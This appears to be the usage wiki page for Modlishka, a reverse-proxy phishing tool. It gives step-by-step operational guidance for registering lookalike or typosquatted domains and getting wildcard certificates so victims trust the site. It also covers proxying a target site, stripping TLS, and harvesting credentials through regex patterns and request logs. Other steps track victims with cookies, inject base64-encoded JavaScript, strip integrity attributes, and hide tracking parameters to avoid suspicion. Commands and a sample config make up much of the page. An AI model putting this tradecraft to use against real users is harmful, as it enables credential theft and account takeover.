Skip to content

How to use

Jump to bottom
Piotr Duszynski edited this page May 25, 2019 · 27 revisions

1. Prerequisites

To run a good campaign you will need:

  • a registered domain name
  • a wildcard SSL certificate

Note: These are actually optional if you don't want to run your campaign over a TLS or test locally without registering your own domain (you can use: loopback.modlishka.io instead).

Register a domain:

Before you start any e-mail phishing campaign, you will need a credible domain name. Obviously, in order to minimize the risk of being easily spotted by the target user the chosen domain should be as similar to the original as possible.

The registered domain should point to the IP of the host where Modlishka is currently running.

Add 'A' record with the right IP address and a wildcard 'CNAME' '*' record.

All subdomains should resolve to the same IP address.

If you need an temporary domain for testing on your local machine you can use : "loopback.modlishka.io domain" (resolves to 127.0.0.1 for all *.loopback.modlishka.io queries)

Modlishka currently supports the following domain schemes:

a. 'One to One' Domain translation

Example: victim.cc or victin.com for the target domain victim.com Tip: Try to find identical domain names with different tlds or mistyped.

b. 'Nested' domain translation

Example: 'victim.com.α.host' Tip: Try to find the shortest possible domain name and include the target domain as a subdomain.

The choice of the right approach is yours. There are a lot of different registrars out there which you can use to find you perfect domain.

Fetch an SSL certificate

SSL certificate in most cases gives a victum user an impression that the website is trusted. If you want to raise the effectiveness of your campaigns you should also get one for your phishing domain.

Modlishka requires a wildcard certificate for you phishing domain, which can be obtained manually through one of your registrars or you can use LetsEncrypt and acme.sh script to automate this part. You will need a PEM certificate and key in order to use it with Modlishka.

The easiest way to get a trusted certificate for your domain is to use the 'acme.sh' script. Once generated you can use the following command to convert them to the JSON compatible format for the config file:

awk '{printf "%s\\n", $0}' file

That's it. Your SSL certificate set up should be ready.

Alternatively you can also use the 'autocert' plugin for testing:

$ openssl genrsa -out MyRootCA.key 2048
$ openssl req -x509 -new -nodes -key MyRootCA.key -sha256 -days 1024 -out MyRootCA.pem

Replace the const CA_CERT variable with the content of MyRootCA.pem file and const CA_CERT_KEY with the content of MyRootCA.key in the plugin/autocert.go file.

Install and trust the MyRootCA.pem in your browsers certificate store and you are all done. The 'autocert' plugin will automatically generate a certificate for you phishing domain each time you launch the tool.

2. Using the tool

You can use and configure Modlishka through the command line parameters.

The following command will launch the proxy without any encryption (it's also a great way to MITM pages and strip encryption from the whole communication channel for the target web page)

$ sudo ./dist/proxy   -target https://target-domain.com -proxyDomain loopback.modlishka.io -listeningPort 80

where the target parameter points to the domain that should be proxied (url scheme should be included) and proxyDomain defines the phishing domain.

A better and more convenient approach is to use JSON configuration files. You can find example files here.

$ sudo ./dist/proxy   -config your.config.json

Note: Ensure to add a certificate to the configuration file if you want to serve pages over TLS.

Example configuration file:

{
  "proxyDomain": "loopback.modlishka.io",
  "listeningAddress": "127.0.0.1",
  "target": "target-victim-domain.com",
  "targetResources": "",
  "targetRules":         "PC9oZWFkPg==:",
  "terminateTriggers": "",
  "terminateRedirectUrl": "",
  "trackingCookie": "id",
  "trackingParam": "id",
  "jsRules":"",
  "forceHTTPS": false,
  "forceHTTP": false,
  "dynamicMode": false,
  "debug": true,
  "logPostOnly": false,
  "disableSecurity": false,
  "log": "requests.log",
  "plugins": "all",
  "cert": "",
  "certKey": "",
  "certPool": ""
}

Modlishka supports the following command line parameters:

  • cert

In case, for some reason, you want to provide the content of the PEM certificate through the command line parameter. Base64 encode it to create a single string (bash is very picky about extra chars.)
Note: For JSON file the certificate does not have to be base64 encoded. Just remember to replace all new lines with a '\n'.

  • certKey

Similar as in case of the certificate, base64 encode the SSL certificate key. Note: For JSON file the certificate key does not have to be base64 encoded. Just remember to replace all new lines with a '\n'.

  • certPool

Base64 encoded Certification Authority certificate Note: For JSON file the certificate pool does not have to be base64 encoded. Just remember to replace all new lines with a '\n'.

  • config

Path to the JSON configuration file. Note: It is recommended to either use cmd line parameters or configuration files.

  • credParams

This is parameter is registered by the 'control_panel' plugin. It's a comma separated list of username and password matching patterns using groups (regex). These values are also base64 encoded.

If you want Modlishka to automatically collect credentials, then you should create a regular expression that will pick the right value from the HTTP body. For instance:

HTTP Post body contains: " param1=test&param2=test2&password=secret&username=test ", then the regular expression for password should be: "password=([^\W]+)&" and for username "username=([^\W]+)".

  • debug

Print detailed debug information from the translation and proxying process.

  • disableSecurity

There is not particular reason to disable this option. "Here be dragons".

  • forceHTTPS

Strip all clear-text from the traffic and proxy through HTTPS only. This will force the proxy to rewrite all URLS to 'https' url scheme and listen on port 443/HTTP only.

  • forceHTTP

Strip all TLS from the traffic and proxy through HTTP only. This will force the proxy to rewrite all URLS to 'http' url scheme and listen on port 80/HTTP only.

  • dynamicMode

Enable dynamic mode for 'Client Domain Hooking'

  • jsRules

Comma separated list of URL patterns and JS base64 encoded payloads that will be injected. For example, if you want to inject to www.loopback.modlishka.io page an alert(1), then you should use the following parameter value: "jsRules":"www.loopback.modlishka.io:YWxlcnQoIlBoaXNoZWQiKTs=", base64decode("YWxlcnQoIlBoaXNoZWQiKTs=") => 'alert("Phished");'

  • listeningAddress

Address of the interface on which Modlishka should listen (default "127.0.0.1"). If you want to listen on all interfaces, use "0.0.0.0". Otherwise, the port will be seen as closed.

  • log

Local file to which fetched requests will be written (appended). This is the main source, from which the credentials should be collected.

  • proxyDomain

Proxy domain that we will be using to create - Ex.: loopback.modlishka.io (127.0.0.1) (without the url scheme: http/https)

  • plugins

Comma separated list of enabled plugin names (default "all")

  • postOnly

Enable in case you want to only log HTTP POST requests

  • proxyAddress

Proxy that should be used (socks/https/http) - e.g.: http://127.0.0.1:8080

  • proxyDomain

Proxy domain name that will be used - e.g.: proxy.tld

  • target

URL of the target website - Ex.: https://target-victim-website-example.com

Note: Try to aim at the root domain, since most of the subdomains will be handled automatically.

  • targetRes

Comma separated list of target subdomains that need to pass additionally handled by the proxy. Sometimes proxy will fail to fetch and translate some of the FQDNs. In this case you should specify those domains. Note: Too many domains can have undesirable effects. Ensure to keep this list to minimum.

  • targetRules

Comma separated list of static strings and their replacements all base64 encoded. For example:

If you want to remove 'integrity' attribute from the html tag response, you would add the following parameter: -targetRules "aW50ZXJncml0eT0ic2hh,aW50ZXJncmlhdHk9InNoYQ=="

Note: This currently replaces strings in HTTP responses. If you want to modify the HTTP request check out the ./plugins/template.

  • terminateTriggers

Comma separated list of URLs from target's origin which will trigger session termination. Example:

account.loopback.modlishka.io - URL that will be loaded after user successfully logged in. In such cases we usually don't want to keep him on our domain. Note: that this option will prevent user from coming back after his session was terminated. He will always receive an HTTP 302(redirect) to the target domain or 'terminateUrl' parameter value.

  • terminateUrl

URL to redirect the client after session termination was triggered.

  • trackingCookie

Name of the HTTP cookie used to track the victim (default "id")

  • trackingParam

Name of the HTTP parameter used to track the victim (default "id"). You will use this parameter to create you URLS to the phishing campaign:

https://loopback.modlishka.io/?id=[UUID_identifier].

Note: This parameter will be stripped on first request (in order to hide the id parameter, which can look a bit suspicious).

Clone this wiki locally